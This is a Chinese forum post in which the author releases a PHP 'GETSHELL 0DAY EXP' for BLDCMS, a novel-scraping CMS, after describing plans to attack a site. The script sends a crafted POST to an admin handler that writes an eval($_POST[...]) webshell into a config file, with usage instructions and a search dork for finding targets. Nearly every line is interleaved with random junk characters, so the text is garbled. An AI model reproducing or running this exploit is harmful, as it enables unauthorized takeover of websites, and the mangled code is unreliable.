之前想搞一个黑阔站 发现旁站有一个站用了BLDCMS 我就下载看了.. 找到了一个getshell漏洞2 P4 ]; k" |& F/ d4 n
0 u4 _, z% X9 x. R6 [8 g! l- B
3 s3 r9 ^4 L _" s% ~* W* a
话说昨晚晴天小铸在90sec发现有人把这getshell漏洞的分析发出来了 擦 居然被人先发了 9 r) l6 `- x9 S, R) b, N
) a) c8 z$ S: j8 b既然都有人发了 我就把我之前写好的EXP放出来吧' r$ P, H4 g) V0 q0 N" k% N
( r8 k7 K! s& T6 Z2 H
view source print?01.php;">
: S9 C- ?, Y& s! J$ y3 D9 l02.<!--?php/ p( e9 ]. V& q+ n
03.echo "-------------------------------------------------------------------
0 `+ O! I% @# ?) V d8 p04.
; q8 \) W. ^& T% t3 L/ O05.------------\r\n BLDCMS(白老大php小说小偷) GETSHELL 0DAY EXP' p* w, ]' A& g' J
06. 2 M' ] @" G9 a: ]) {! `1 f
07.(GPC=Off)\r\n Vulnerability discovery&Code by 数据流@wooyun7 x* {3 y1 _* B
08.
( b% Q/ `- T0 k! h09.QQ:981009941\r\n 2013.3.21\r\n . d6 I2 j) o' e. U" ]
10.
- k4 F8 Y, m7 M! o# v, [11. / V( V7 K2 ]& D {% ]$ X3 Z1 B5 g
12.用法:php.exe EXP.php www.baidu.com /cms/ pass(一句话密码) p* J4 S. I& Y! _. c. b. u
13.
9 `8 } J- K6 R8 q, T14.)\r\n 搜索关键字:\"开发者: 白老大小说\"\r\n-----------
- J! ~# Q1 k1 r: M8 M( T! P15. / I" |1 V' V1 W+ F
16.--------------------------------------------------------------------\r\n";. _/ A& C: K- Z' ^
17.$url=$argv[1];
- ~) }0 q6 l' A: N18.$dir=$argv[2];2 F3 F8 Z' F0 {
19.$pass=$argv[3];
0 a C2 y. G0 w; Q0 y- L- i/ W- Y20.$eval='\';eval($_POST['.'"'.$pass.'"'.']);\'';
) h2 \% a: d4 y6 m5 V! |# h21.if (emptyempty($pass)||emptyempty($url))
! c) s# I+ G& ^3 d# @22.{exit("请输入参数");}+ a; a0 K" a# b: ?3 K. X3 Q
23.else4 {* Q3 J; q( v; }1 X! j9 L4 b9 c
24.{
0 r& k5 }3 E' b9 P, @% L# g25.$fuckdata='sitename=a&qq=1&getcontent=acurl&tongji=a&cmsmd5=1&sqlite='.$ev2 T' ]& T8 \) j5 x! l4 M
26.
7 g9 C* R- i9 N" |7 ?! K27.al;% @% i1 N+ x% B
28.$length = strlen($fuckdata);
6 Z6 T @; r+ [# a* S, _7 j3 a29.function getshell($url,$pass)& i+ m( Z+ e1 \* w8 i' j
30.{
# V3 Z& i6 W) T; `2 |31.global $url,$dir,$pass,$eval,$length,$fuckdata;1 [, Q! c1 F# c# ? |. @
32.$header = " OST /admin/chuli.php?action=a_1 HTTP/1.1\r\n";
( K- V, S* r, A% @6 _3 M; U9 h33.$header .= "Content-Type: application/x-www-form-urlencoded\r\n";
4 |- M2 i& I3 m( A& N0 a& S34.$header .= "User-Agent: MSIE\r\n";
# c T( ?& I2 }. M35.$header .= "Host:".$url."\r\n";
& W. V5 J } [; b6 E3 l36.$header .= "Content-Length: ".$length."\r\n";
+ T& S6 T$ Z: y+ |0 k1 X3 b37.$header .= "Connection: Close\r\n";) B; y/ X& k/ M, n0 F% H) ?
38.$header .="\r\n";& j) c3 p/ D$ u, g: q, V. R
39.$header .= $fuckdata."\r\n\r\n";9 x d: o8 p F6 F0 v2 l% ?
40.$fp = fsockopen($url, 80,$errno,$errstr,15);
$ A+ b6 c8 y. T* |3 x4 p41.if (!$fp)
- E9 k1 m9 W% g4 u# a42.{0 W: }2 y7 }7 u6 l1 V7 Z2 z
43.exit ("利用失败:请检查指定目标是否能正常打开");
/ E" g( b f$ o8 G# O; `+ j44.}. P0 y8 A! h7 X% C/ S+ @
45.else{ if (!fputs($fp,$header))& i. v& l" R: Y3 w9 `" x' u
46.{exit ("利用失败");}
9 G4 s7 e# q8 L L$ s9 ]47.else! {& W5 T# ]( B1 F! d, B! I! T1 x
48.{0 `6 [$ ~: }3 \! G: B1 X1 W
49.$receive = '';: y5 ~) T; e ~1 ]7 W: I- c" O; w C
50.while (!feof($fp)) {
, Z% O, c; v+ H51.$receive .= @fgets($fp, 1000);
4 R. u" E2 b% ]: o2 q52.}
7 y" C8 {0 P. D: [, W0 ~2 [1 e- l53.@fclose($fp);) n2 z% z1 U9 u, B4 Y `: f
54.echo "$url/$dir/conn/config/normal2.php pass pass(如连接失败 请检查目标
7 G& _$ x# i. c& L55. ) D" o% ~9 d, e' {) _, {
56.GPC是否=off)";
7 b8 ^; w6 l. z6 K3 S- X57.}}
0 k5 k& S6 F3 J6 I9 H# K) U58.}8 b4 `0 m3 a- S
59.}5 l/ q7 @' J" c J* \. v( C/ D
60.getshell($url,$pass);1 l) z* y0 Y, s- \1 K1 W
61.?-->/ a$ X3 n! q8 b
1 a! j/ U) E1 b
/ f& I" ?9 Q8 { C' C, E) C ~
0 j! s; A: }. Pby 数据流
* d1 u( `$ O9 n( o6 Q8 @+ T |